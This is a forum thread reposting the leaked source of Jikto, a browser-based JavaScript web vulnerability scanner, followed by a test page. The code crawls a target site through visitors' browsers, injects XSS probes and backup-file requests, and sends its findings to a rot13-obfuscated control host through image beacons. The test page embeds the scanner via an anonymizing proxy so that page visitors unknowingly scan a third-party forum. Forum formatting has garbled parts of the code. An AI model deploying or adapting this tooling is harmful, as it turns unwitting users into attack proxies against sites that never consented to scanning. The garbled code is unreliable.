thedarkness

What do you guys think about this Jitko source code leak?

Is it worth pulling the code apart?

Does it present any glaring opportunities?

Cheers,
td

perkiset

Just in case it somehow all gets shut down, here it is in a few posts:

<edit>
I don't know what all it does yet... but it certainly is worth tearing apart a bit. I'll be looking at it - rather offline 'cause I'm pretty tapped, but will be looking in any case...

/p

perkiset

Jitko.js



   
//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
   
    function linkIsGood(l) {
        var lower = l.toLowerCase().substring(0,4);
        //this is stupid (could false pos), but effective
        if(lower == "java" || lower == "mail"Applause {
            return false;
        }
           
        var tmpU = Url.resolveRelativeLink(currRequest.url, l);
        //do checks here
        if(!fileExtAllowed(tmpU)) {
            return false;
        }
        if(tmpU.hostname != startUrl.hostname) {
            return false;
        }
       
        if(tmpU.port != startUrl.port) {
            return false;
        }
        return true;
    } 
   
   
    function extractHREFsAsRequests(txt) {
        var pattern = /hrefs*=s*(["'])([^'"]*)1/gi;
       
        var links = new Array();
        var result;
        while( (result = pattern.exec(txt)) != null) {
            links.push(result[2]);
        }
       
        //refine what we

RegEx

 ed out   
        var requests = new Array();
        var counter = 0;
        var linklen = links.length;
        for(; counter < linklen; counter++) {
            //clean out the prefix
            links[counter] = links[counter].replace(prefix,"");
            if(linkIsGood(links[counter])) {
                requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
            }
        }
     
        return requests;
    }
   
    function fileExtAllowed(u) {
        for(var i=0, bfl = badFiles.length; i < bfl; i++) {
            if(u.fileext.toLowerCase() == badFiles<>) {
                return false;
            }
        }
        return true;
    }   

    function tagParser(text) {

        var PRENAME = 0;
        var INNAME = 1;
        var INPREVALUE = 2;
        var INVALUE = 3;

        var attribs = new Object();
   
   
        var curr = 0;
        var len = text.length;
       
        var c = "";
       
        var state = PRENAME;
       
       
        var buff = "";
        var name = "";
        var quoteChar = "";
       
        while(curr < text.length) {
       
            c = text.charAt(curr);
           
            switch(state) {
           
                case PRENAME:
                    switch(c) {
                   
                        case ' ':
                        case ' ':
                        case ' ':
                        case ' ':
                            curr++;
                            break;
                        default:
                            buff = c;
                            curr++;
                            state = INNAME;
                            break;
                    }
                    break;
           
           
                case INNAME:
                    switch(c) {
                        case '=':
                            //= so name is done
                            name = trim(buff).toLowerCase();
                            buff = "";
                            quoteChar = "";
                            curr++;
                            state = INPREVALUE;
                            break;
                        default:
                            buff += c;
                            curr++;
                            break;
                    }
                    break;
               
              case INPREVALUE:
                    switch(c) {
                        case ' ':
                        case ' ':
                            //ignore it
                            curr++;
                            break;
                        case "'":
                        case """:
                            quoteChar = c;
                            curr++;
                            state = INVALUE;
                            break;
                        default:
                            //anything is a value
                            quoteChar = "";
                            buff += c;
                            curr++;
                            state = INVALUE;
                            break;
                    }
                    break;                   
                           
           
                case INVALUE:
                    switch(c) {
                        case quoteChar:
                       
                            //all done!
                            attribs[name] = buff;
                            state = PRENAME;
                            curr++;
                            buff = "";
                            break;
                        case ' ':
                        case ' ':
                        case ' ':
                        case ' ':
                            if(quoteChar == ""Applause {
                               
                                attribs[name] = buff;
                                state = PRENAME;
                                buff = "";
                            }
                            curr++;
                            break;
                        default:
                            buff += c;
                            curr++;
                            break;
                    }
                    break;             
           
            } //end switch
        } //end while
       
        var c = 10;
        return attribs;
    }

    function extractFormsAsRequests(txt) {


        var requests = new Array();

        var lowertxt = txt.toLowerCase();

        //

RegEx

  and results for FORM search
        var pattern = /<forms+([^>]+)/gi;
        var result;
       
        while( (result = pattern.exec(txt)) != null) {
           
            //parse out attributes for the form tag
            currForm = tagParser(result[1]);

            //setup something for the inputs           
            currForm.inputs = new Array();
           
            //find the "end" tag
            var endp = lowertxt.indexOf("</form", result.index+1);
           
            //grab all that text "inside" thos form
            var inner = txt.substring(result.index, endp);
           
            //grab all the inputs in the form
            var pattern2 = /<inputs+([^>]+)/gi;
            var result2;
            while( (result2 = pattern2.exec(inner)) != null) {
           
                //parse out the attributes
                currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
            }
           
            //needs some inputs and an action
            if(currForm.inputs.length > 0 && currForm.action != undefined) {
           
                if(linkIsGood(currForm.action)) {
           
                    var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
           
                    if(currForm.method != undefined && currForm.method.toLowerCase() == "post"Applause {
                        var req = Request.fromUrl(u);
                        req.method = "POST";
                        req.data = buildParamString(currForm.inputs);
                        requests[requests.length] = req;
                    } else {
                        u.queryParams = buildParamString(currForm.inputs);
                        requests[requests.length] = Request.fromUrl(u);
                    }
                }
            }
           
        }
       
        return requests;
       
    }

    function buildParamString(inps) {
   
        var ret = new Array();
       
        var seen = new Object();
       
        for(var i =0; i < inps.length; i++) {
            if(inps<>.name != undefined && seen[inps<>.name] == undefined) {
           
                seen[inps<>.name] = true;
           
                if(inps<>.value != undefined) {
                    ret[ret.length] = new NVPair(inps<>.name, inps<>.value);
                } else {
                    ret[ret.length] = new NVPair(inps<>.name, "admin");               
                }
            }
        }
        return ret;
    }


//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib

function generateBackupAttacks(request) {

    var requests = new Array();

    var newreq = new cloneObject(request);
    newreq.url.filename += ".bak";
    newreq.url.queryParams = new Array();
    newreq.data = "";
    newreq.method = "GET";
    newreq.origin = "audit";
    newreq.title = "Backup File Detected!";
    newreq.sev = 50;
    newreq.

regex

  = /HTTP/1.1s200sOK/i;
   
    requests[requests.length] = newreq;

    var newreq = new cloneObject(request);
    newreq.url.filename += ".old";
    newreq.url.queryParams = new Array();
    newreq.data = "";
    newreq.method = "GET";
    newreq.origin = "audit";
    newreq.title = "Backup File Detected!";
    newreq.sev = 50;
    newreq.

regex

  = /HTTP/1.1s200sOK/i;
    requests[requests.length] = newreq;

    return requests;

}

function generatePPASSAttacks(request) {

    var requests = new Array();
   

    if(request.method == "GET" && request.url.queryParams.length > 0) {
 
        var newreq = new cloneObject(request);
       
        newreq.url.queryParams = new Array();
        for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
       
            newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>");
       
       
        }
        newreq.origin = "audit";
        newreq.title = "Cross Site Scripting";
        newreq.sev = 100;
        newreq.

regex

  = /script/i;
        requests[requests.length] = newreq;
    } else if(request.method == "POST"Applause {
   
   
        var t = request.data.length > 0;
   
        var newreq = new cloneObject(request);
        newreq.url.queryParams = new Array();
        newreq.data = new Array();
       
            newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>");
            newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>");
            newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>");
       
        newreq.origin = "audit";
        newreq.title = "Cross Site Scripting";
        newreq.sev = 100;
        newreq.

regex

  = /script/i;
        requests[requests.length] = newreq;
    }
   
    return requests;

}


//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
 
    var currRequest = null;
    var currResponse = null;
 
 
    //startURL!
    var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.

asp

 x?type=
                                                                              //uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
    var SLASH = String.fromCharCode(47);
   
    //prefix for our requests
    var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7))
   
    //image extensions
    var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"];

    //our requestor!
    var xhr= new XMLHttpRequest();

//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface

//alert("GUI");

    function reportURL(method, url) {
        var i = new Image();
        i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method); 
    }
   
    function reportVuln(method, url, sev, title, req, resp) {
        var i = new Image();
        i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);
    }   

//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs


    function cloneObject(what) {
        for (var i in what) {
       
            if(typeof(what<>) == "object"Applause {
                this<> = new cloneObject(what<>);
            } else {
                this<> = what<>;
            }
        }
    }

    function rot13(txt) {
     
        var ret =""
        var len = txt.length;
           
        for(var i=0; i < len; i++) {
       
            var b = txt.charCodeAt(i);
            if( ((b>64) && (b<7Applause) || ((b>96) && (b<110)) ) {
                b +=13;
            } else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) {
                b -=13;
            }
            ret += String.fromCharCode(b);
        }
        return ret;
    }

    function trim(s) {
    return s.replace(/^s*(S*(s+S+)*)s*$/, "$1");
    }

//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request

    function Request() {
   
        this.url = null;
        this.method = "";
        this.origin = "crawl";
        this.data = "";
       
        this.title = "xx";
        this.

regex

  = "";
        this.sev = 0;
   
    }
   
    Request.fromUrl = function(u) {
   
        var ret = new Request();
        ret.url = u;
        ret.method = "GET";
        ret.origin = "crawl";
        return ret;
    }
   
    Request.prototype.getResource = function () {
        return this.url.toString();
    }
   
    Request.prototype.toString = function () {
       
        return String.concat(this.method, " ", this.getResource(), " HTTP/1.1");
    }

//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response

    //create a response object from a completely returned XHR obj!
    function Response(x) {

        this.status = x.status;
        this.statusText = x.statusText;

        this.is404 = false;
       
        this.headersString = x.getAllResponseHeaders();
        //extract the headers into a hash table
        this.headers = new Object();
        var tmp = this.headersString.split(" ");
        var j;
        var k = ": ";
       
        for(var i =0; i < tmp.length; i++) {
            j = tmp<>.indexOf(k);
            if(j > 0) {
                this.headers[tmp<>.substring(0, j)] = tmp<>.substring(j + 2, tmp<>.length);
            }
        }
       
        this.body = x.responseText;
        return this;
           
    }

    function Response_toString() {
        var s="";
        var i;
        s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, " ");
       
        for (i in this.headers) {
           
            s = String.concat(s, i, ": ", this.headers<>, " ");
        }

        s = String.concat(s, this.data);
        return s;
    }

    Response.prototype.toString = Response_toString;

//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
   
    var pending = new Object();
    var pendingLen = 0;
   
    var visited = new Object();
   
    function addRequest(r) {
   
        if(r  != undefined) {
   
            if(pending[r.toString()] == undefined) {
                if(visited[r.toString()] == undefined) {
                    pending[r.toString()] = r;
                    pendingLen++;
                    return true;
                }
            }
            return false;
        }
    }
     
    function processResponse() {
       
        // only if req shows "loaded"
        if (xhr.readyState == 4) {
            //send reponse off
           
            currResponse = new Response(xhr);
           
           
           
           
            if(currResponse.status == 200) {
                reportURL(currRequest.method, currRequest.getResource());
            }
           
            var requests = null;
           
            //grab any requests from HREFs
            requests = extractHREFsAsRequests(currResponse.body);
            var requests2 = extractFormsAsRequests(currResponse.body);
           
            if(requests2.length > 0) {
           
                requests = requests.concat(requests2);
            }
         
          if(requests.length > 0) {
           
                //bubble up the GUI and add them (if needed)
                for(var i =0; i < requests.length; i++)
                {
                    addRequest(requests<>);
           
                    //================= Generate Attacks
                   
                    requests2 = generateBackupAttacks(requests<>);
                   
                    //requests2 = (generatePPASSAttacks(requests<>));
                    requests2 = requests2.concat(generatePPASSAttacks(requests<>));
                   
                   
                    if(requests2.length > 0) {
                   
                        for(var k =0; k < requests2.length; k++)
                        {
                            addRequest(requests2<>);
                        }
                   
                    }
                }
            }

            if(xhr.responseText.indexOf("xss"Applause > 0) {
               
               
                reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString());
            }


           
           
            //==============score attacks here
            if(currRequest.origin == "audit"Applause {
           
                if(currResponse.toString().match(currRequest.

regex

 Applause) {
               
               
                    reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
                }
               
           
           
            }
           
           
            sendNextRequest();
        }
    }
   
   
    function sendNextRequest() {
       
        if(pendingLen == 0) {
            //toGUI("Scan Complete!");
            return true;
        }

      //grab the first Request
        for(i in pending) {
            currRequest = pending<>;
            break;
        }

        //remove it from the queue     
        delete pending[currRequest.toString()];
        pendingLen--;
       
        //add it to visited
        visited[currRequest.toString()] = true;
       
        //clear out the old response obj
        currResponse = null;
       
        xhr = new XMLHttpRequest();

        var data = "";

        //register the handler function
        xhr.onreadystatechange = processResponse;

        xhr.open(currRequest.method, prefix + currRequest.getResource(), true);
       
        if(currRequest.method == "POST"Applause {
       
            data = currRequest.data.join("&");
            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr.setRequestHeader("Content-length", data.length);
            //http.setRequestHeader("Connection", "close");       
        }
       
        //add our magic header
        xhr.setRequestHeader('X-Hax0r', 'Acidus');

        xhr.send(data);
    }
   
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object

    function NVPair(n, v) {
        this.name = n;
        this.value = v;
       
        return this;
    }

    NVPair.prototype.toString = function() {
        return String.concat(escape(this.name), "=", escape(this.value));
    }
   
    function setParamValue(name, value, ar) {
   
        for (var yyy in ar.length) {
       
            if(ar[yyy].name != undefined) {
                if(ar[yyy].name == name) {
                    ar[yyy].value = value;
                    break;
                }
            }
        }
        return ar;   
    }
       
    function getParamArray(qs) {

        var ret = new Array();

        var nvp = qs.split("&");
        for(var i=0; i < nvp.length; i++) {

            var tmp = nvp<>.split("=");
            if(tmp.length == 1) {
                ret[ret.length] = new NVPair(unescape(tmp[0]), "");
            } else if(tmp.length == 2) {
                ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1]));
            }
        }
        return ret;
    }
   
    function Url(url) {
       
        this.protocol = "";

        this.hostname = "";
        this.port = "";
        this.path = "";
        this.filename="";   
        this.fileext="";
        this.frag ="";
       
        this.queryParams = new Array();
       
        if(arguments.length == 1) {
           
            var tmp;
            var rest;
            //grab the fraq
            tmp = url.split("#");
            rest = tmp[0];
            this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : "";

            //grab the query string
            tmp = rest.split("?");
            rest = tmp[0];
           
            if(tmp.length > 1) {
                this.queryParams = getParamArray(tmp[1]);
            }
            //grab the protocol
            tmp = rest.split("//");
            if(tmp.length > 1) {
                tmp[0] = unescape(tmp[0]);
                this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();             
                rest = tmp[1];
            } else {
                //alert("Invalid url "" + url + """);
                throw "Invalid URL";
            }
           
            //grab the host
            tmp = rest.split(SLASH);
           
            if(tmp.length > 1) {
                //get rid of hostname
                this.hostname = unescape(tmp.shift()).toLowerCase();
               
                //only 1 thing left, which is the filename
                if(tmp.length == 1) {
                    this.filename = unescape(tmp[0]);
                    this.path = SLASH;
                } else {
                    //filename is at the end
                    this.filename = unescape(tmp.pop());
                    //recombine and add leading and trailing slashes
                   
                    for(var i =0; i < tmp.length; i++) {
                        tmp<> = unescape(tmp<>);
                    }
                   
                    for(var i = 0; i < tmp.length; i++) {
                       
                        if(tmp<> == "."Applause {
                            tmp.splice(i, 1);
                            i = i -1;
                        } else if(tmp<> == ".."Applause {
                            if(i == 0) {
                                //more /../ than directories
                                //alert("Invalid url "" + url + """);
                                throw "Invalid URL";
                            }
                            tmp.splice(i-1, 2);
                            i=i-2;
                        }
                    }
                    if(tmp.length >=1) {
                        this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);
                    } else {
                        this.path = SLASH;
                    }
                }
            } else {
                this.hostname = unescape(tmp[0]);
                this.path = SLASH;           
            }
           
            //grab the port
            tmp = this.hostname.split(":");
            this.hostname = tmp[0];
            this.port = (tmp.length == 2) ? unescape(tmp[1]) : "";
           
            //be smart and fill in the port as needed
            if(this.port.length == 0) {
                if(this.protocol == "http"Applause
                    this.port = "80";
                else
                    this.port = "443";
            }
           
            //grab the filename extension
            if(this.filename.length > 0) {
                tmp = this.filename.split(".");
                this.fileext = (tmp.length > 1) ? tmp.pop() : "";
            }
        }
        return this;

    }
   
    Url.prototype.addNV = function(name, value) {
        this.queryParams[this.queryParams.length] = new NVPair(name, value);
    }

    function Url_resolveRelativeLink(baseUrl, relativeLink) {

        if(typeof(baseUrl) == "string"Applause {
            baseUrl = new Url(baseUrl);
        }

        //is it relative?
        if(unescape(relativeLink).indexOf("://"Applause > 0) {
            return new Url(relativeLink);
        }
        //alert("BASE IS: " + baseUrl);
       
        var s;
        //set up our base
        s = String.concat(baseUrl.protocol,
                          "://",
                          baseUrl.hostname,
                          (baseUrl.port.length > 0) ? ":" + baseUrl.port : "");
        if(relativeLink.substring(0,1) == SLASH) {
            //link is relative to site root, so directly concat
           
            s = String.concat(s, relativeLink);
        } else {
            //link is relative to current path
           
            s = String.concat(s, baseUrl.path, relativeLink);
        }
       
        return new Url(s);
    }

    function Url_toString() {

        return String.concat(this.protocol,
                      "://",
                      this.hostname,
                      (this.port.length > 0) ? ":" + this.port : "",
                      this.path,
                      this.filename,
                      (this.queryParams.length > 0) ? "?" + this.queryParams.join("&"Applause : "",
                      this.frag);

    }

    function Url_toStringNoPath() {

        return String.concat(this.protocol,
                      "://",
                      this.hostname,
                      (this.port.length > 0) ? ":" + this.port : "");
    }

    Url.prototype.toString = Url_toString;
    Url.prototype.toStringNoPath = Url_toStringNoPath;
    Url.resolveRelativeLink = Url_resolveRelativeLink;   
   
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------

//var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc");  //http://

blackhat

 -forums.com/

php

 BB2/index.

php

   uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
//var startUrlString = rot13("");
var startUrl = new Url(startUrlString);
//queue up first request
addRequest(Request.fromUrl(startUrl));
//let 'er rip!
sendNextRequest();

perkiset

ScanTest


<HTML>
<HEAD>
<TITLE>Jikto Test</TITLE>
        <script src="/mint/?js" type="text/

javascript

 "></script>
</HEAD>

<BODY>

    <h1>Scanning..</h1>
   
<!---        <iframe src="http://www.google.com/translate?u=http%3A%2F%2Fwww.pentest.it%2Fjikto%2Fjikto.html&langpair=en%7Cen&hl=en&ie=UTF8"></iframe>  ----->
        <iframe src="http://www.the-cloak.com/Cloaked/+cfg=32/http://www.pentest.it/jikto/jikto.html"></iframe> 
       
</BODY>

</HTML>


Perkiset's Place Home   Politics @ Perkiset's